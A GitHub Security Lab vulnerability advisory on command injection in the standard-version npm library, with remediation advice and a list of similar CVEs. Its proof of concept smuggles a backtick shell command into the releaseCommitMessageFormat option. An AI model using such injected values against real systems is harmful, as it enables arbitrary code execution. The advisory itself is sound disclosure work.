Command Injection in standard-version
# GitHub Security Lab (GHSL) Vulnerability Report: `GHSL-2020-111`
The GitHub Security Lab
https://securitylab.github.com team has identified a potential security vulnerability in standard-version
https://github.com/conventional-changelog/standard-version.
## Summary
The `standardVersion` function has a command injection vulnerability. Clients of the `standard-version` library are unlikely to be aware of this, so they might unwittingly write code that contains a vulnerability.
## Product
Standard Version
## Tested Version
Commit 2f04ac8
https://github.com/conventional-changelog/standard-version/tree/2f04ac8fc1c134a1981c23a093d4eece77d0bbb9/
## Details
### Issue 1: Command injection in `standardVersion`
The following proof-of-concept illustrates the vulnerability. First install Standard Version and create an empty git repo to run the PoC in:
```
npm install standard-version
git init
echo "foo" > foo.txt # the git repo has to be non-empty
git add foo.txt
git commit -am "initial commit"
```
Now create a file with the following contents:
```
var fs = require("fs");
// setting up a bit of environment
fs.writeFileSync("package.json", '{"name": "foo", "version": "1.0.0"}');
const standardVersion = require('standard-version')
standardVersion({
noVerify: true,
infile: 'foo.txt',
releaseCommitMessageFormat: "bla `touch exploit`"
})
```
and run it:
```
node test.js
```
Notice that a file named `exploit` has been created.
This vulnerability is similar to command injection vulnerabilities that have been found in other Javascript libraries. Here are some examples:
CVE-2020-7646
https://github.com/advisories/GHSA-m8xj-5v73-3hh8,
CVE-2020-7614
https://github.com/advisories/GHSA-426h-24vj-qwxf,
CVE-2020-7597
https://github.com/advisories/GHSA-5q88-cjfq-g2mh,
CVE-2019-10778
https://github.com/advisories/GHSA-4gp3-p7ph-x2jr,
CVE-2019-10776
https://github.com/advisories/GHSA-84cm-v6jp-gjmr,
CVE-2018-16462
https://github.com/advisories/GHSA-9jm3-5835-537m,
CVE-2018-16461
https://github.com/advisories/GHSA-7g2w-6r25-2j7p,
CVE-2018-16460
https://github.com/advisories/GHSA-cfhg-9x44-78h2,
CVE-2018-13797
https://github.com/advisories/GHSA-pp57-mqmh-44h7,
CVE-2018-3786
https://github.com/advisories/GHSA-c9j3-wqph-5xx9,
CVE-2018-3772
https://github.com/advisories/GHSA-wjr4-2jgw-hmv8,
CVE-2018-3746
https://github.com/advisories/GHSA-3pxp-6963-46r9,
CVE-2017-16100
https://github.com/advisories/GHSA-jcw8-r9xm-32c6,
CVE-2017-16042
https://github.com/advisories/GHSA-qh2h-chj9-jffq.
We have written a CodeQL
https://codeql.com query, which automatically detects this vulnerability. You can see the results of the query on the `standard-version` project here
https://lgtm.com/query/237522640229151035/.
#### Impact
This issue may lead to remote code execution if a client of the library calls the vulnerable method with untrusted input.
#### Remediation
We recommend not using an API that can interpret a string as a shell command. For example, use `child_process.execFile`
https://nodejs.org/api/child_process.html#child_process_child_process_execfile_file_args_options_callback instead of `child_process.exec`
https://nodejs.org/api/child_process.html#child_process_child_process_exec_command_options_callback.
## Credit
This issue was discovered and reported by GitHub Engineer @erik-krogh (Erik Krogh Kristensen)
https://github.com/erik-krogh.
## Contact
You can contact the GHSL team at `securitylab@github.com`, please include `GHSL-2020-111` in any communication regarding this issue.
## Disclosure Policy
This report is subject to our coordinated disclosure policy
https://securitylab.github.com/disclosures#policy.